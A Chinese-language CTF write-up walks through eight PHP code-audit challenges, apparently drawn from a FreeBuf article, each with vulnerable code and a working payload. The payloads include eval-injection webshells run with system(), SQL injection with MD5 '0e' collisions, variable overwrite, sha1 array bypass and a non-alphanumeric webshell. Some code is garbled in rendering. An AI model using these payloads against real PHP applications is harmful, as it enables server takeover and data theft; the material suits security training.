PHP代码审计之CTF系列(1)
字数 2048 2025-08-18 11:39:22
PHP代码审计之CTF系列教学文档
前言
本教学文档基于FreeBuf文章《PHP代码审计之CTF系列(1)》整理,详细解析了8个PHP代码审计挑战题目的解题思路和关键技术点。文档涵盖了PHP弱类型比较、变量覆盖、SQL注入、文件包含、代码执行等多种安全漏洞类型,适合CTF选手和Web安全学习者参考。
Challenge 1: 编码转换与逆向
题目代码
error_reporting(0);
require __DIR__.'/lib.php';
echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';
highlight_file(__FILE__);
给定字符串
1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
解题思路
-
题目使用了多层编码转换:
bin2hex(): 将二进制数据转换为十六进制表示strrev(): 反转字符串hex2bin(): 将十六进制字符串转换回二进制数据base64_encode(): 进行Base64编码
-
解密步骤需要逆向执行这些操作:
- Base64解码
- 转换为十六进制
- 反转字符串
- 十六进制转ASCII
解密代码
$str = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=";
echo hex2bin(strrev(bin2hex(base64_decode($str))));
关键函数
bin2hex(): ASCII字符转十六进制strrev(): 字符串反转hex2bin(): 十六进制转ASCII字符base64_encode()/base64_decode(): Base64编解码
Challenge 2: 弱类型比较与科学计数法绕过
题目代码
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);
解题思路
- 需要满足条件:5184000(606024302) < time < 7776000(606024303)
- 直接输入符合条件的数字会导致长时间sleep
- 利用PHP弱类型比较和科学计数法绕过:
- PHP会将"6e6"解析为科学计数法6000000
- 但
(int)'6e6'结果为6,sleep时间很短
有效payload
?time=6e6
PHP弱类型关键点
- 字符串转数值规则:
- 不含'.','e','E'且在整型范围内:当作int
- 其他情况:当作float
- 科学计数法解析:
- "0e123"会被解析为科学计数法0
- 十六进制解析:
- "0x123"会被解析为十六进制数
Challenge 3: 文件包含与字符串截断
题目代码
error_reporting(0);
echo "<!--challenge3.txt-->";
require __DIR__.'/lib.php';
if(!$_GET['id']){
header('Location: challenge3.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')){
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){
echo $flag;
}else{
print "work harder!harder!harder!";
}
解题思路
-
需要满足多个条件:
- $data == "1112 is a nice lab!"
- $id == 0
- strlen($b) > 5
- eregi("111".substr($b,0,1), "1114")为真
- substr($b,0,1) != 4
-
解决方案:
- $a使用php://input读取POST数据
- $id传任意字符会被转为0
- $b使用%00截断绕过检查
关键函数
stripos(): 查找字符串位置(不区分大小写)file_get_contents(): 读取文件内容eregi(): 正则匹配(不区分大小写,已弃用)
有效payload
GET: ?id=a&a=php://input&b=%00111111
POST: 1112 is a nice lab!
Challenge 4: 代码执行与注释绕过
题目代码
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");
解题思路
- 构造PHP代码注入,闭合前面的var_dump并添加恶意代码
- 使用注释符//避免语法错误
有效payload
?hello=);eval($_POST['A']);%2f%2f
利用方式
- 使用中国菜刀等工具连接
- POST数据:A=system('命令');
Challenge 5: SHA1数组绕过
题目代码
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
解题思路
- 利用sha1()处理数组返回NULL的特性
- 传入数组使sha1(\(_GET['name']) === sha1(\)_GET['password']) => NULL === NULL
有效payload
?name[]=1&password[]=2
Challenge 6: SQL注入与MD5碰撞
题目代码
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect(...);
mysql_select_db("challenges") or die("Could not select database");
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pwd from interest where uname='$user'";
$query = mysql_query($sql);
$row = mysql_fetch_array($query, MYSQL_ASSOC);
if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
echo "<p>Logged in! Key: </p>";
}
}
解题思路
- 利用SQL注入返回特定MD5值
- 使用已知的MD5碰撞字符串(QNKCDZO => 0e830400451993494058024219903391)
有效payload
user=' union select "0e830400451993494058024219903391"#&pass=QNKCDZO
Challenge 7: 变量覆盖漏洞
题目代码
include "flag.php";
$_403 = "Access Denied";
$_200 = "Welcome Admin";
if ($_SERVER["REQUEST_METHOD"] != "POST") die("BugsBunnyCTF is here :p...");
if ( !isset($_POST["flag"]) ) die($_403);
foreach ($_GET as $key => $value)
$$
key =
$$
value;
foreach ($_POST as $key => $value)
$$
key = $value;
if ( $_POST["flag"] !== $flag ) die($_403);
echo "This is your flag : ". $flag . "\n";
die($_200);
解题思路
- 利用第一个foreach进行变量覆盖
- 将\(_200或\)_403覆盖为$flag的值
有效payload
GET: ?_200=flag
POST: flag=1
或
GET: ?_403=flag
POST: flag=1
Challenge 8: 字符过滤与无字母数字Webshell
题目代码
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
show_source(__FILE__);
die();
}
$data = $_GET['c'];
$black_list = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z');
foreach ($black_list as $b) {
if (stripos($data, $b) !== false){
die("WAF!");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>WebShell</a></br>";
echo "Enjoy your webshell~";
}else{
echo "Some thing wrong.";
}
解题思路
- 需要构造不含字母数字的Webshell
- 利用PHP字符串自增特性生成所需字符
- 通过变量拼接构造
$_GET['_']($_GET['__'])形式的动态函数调用
有效payload
?c=$_=[].[];$__='';$_=$_[''];$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;$_=++$_;$_=++$_;$__=$_.$__;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$__.=$_;${'_'.$__}[_](${'_'.$__}[__]);
然后访问生成的文件:
?_=system&__=cat ../flag.php
总结
本系列挑战涵盖了PHP安全审计中的多种常见漏洞类型,包括:
- 编码转换与逆向
- 弱类型比较与科学计数法绕过
- 文件包含与字符串处理
- 代码执行漏洞
- 哈希函数特性利用
- SQL注入与MD5碰撞
- 变量覆盖漏洞
- 无字母数字Webshell构造
掌握这些技术对于PHP代码审计和CTF比赛至关重要,建议读者在实际环境中练习这些技术,加深理解。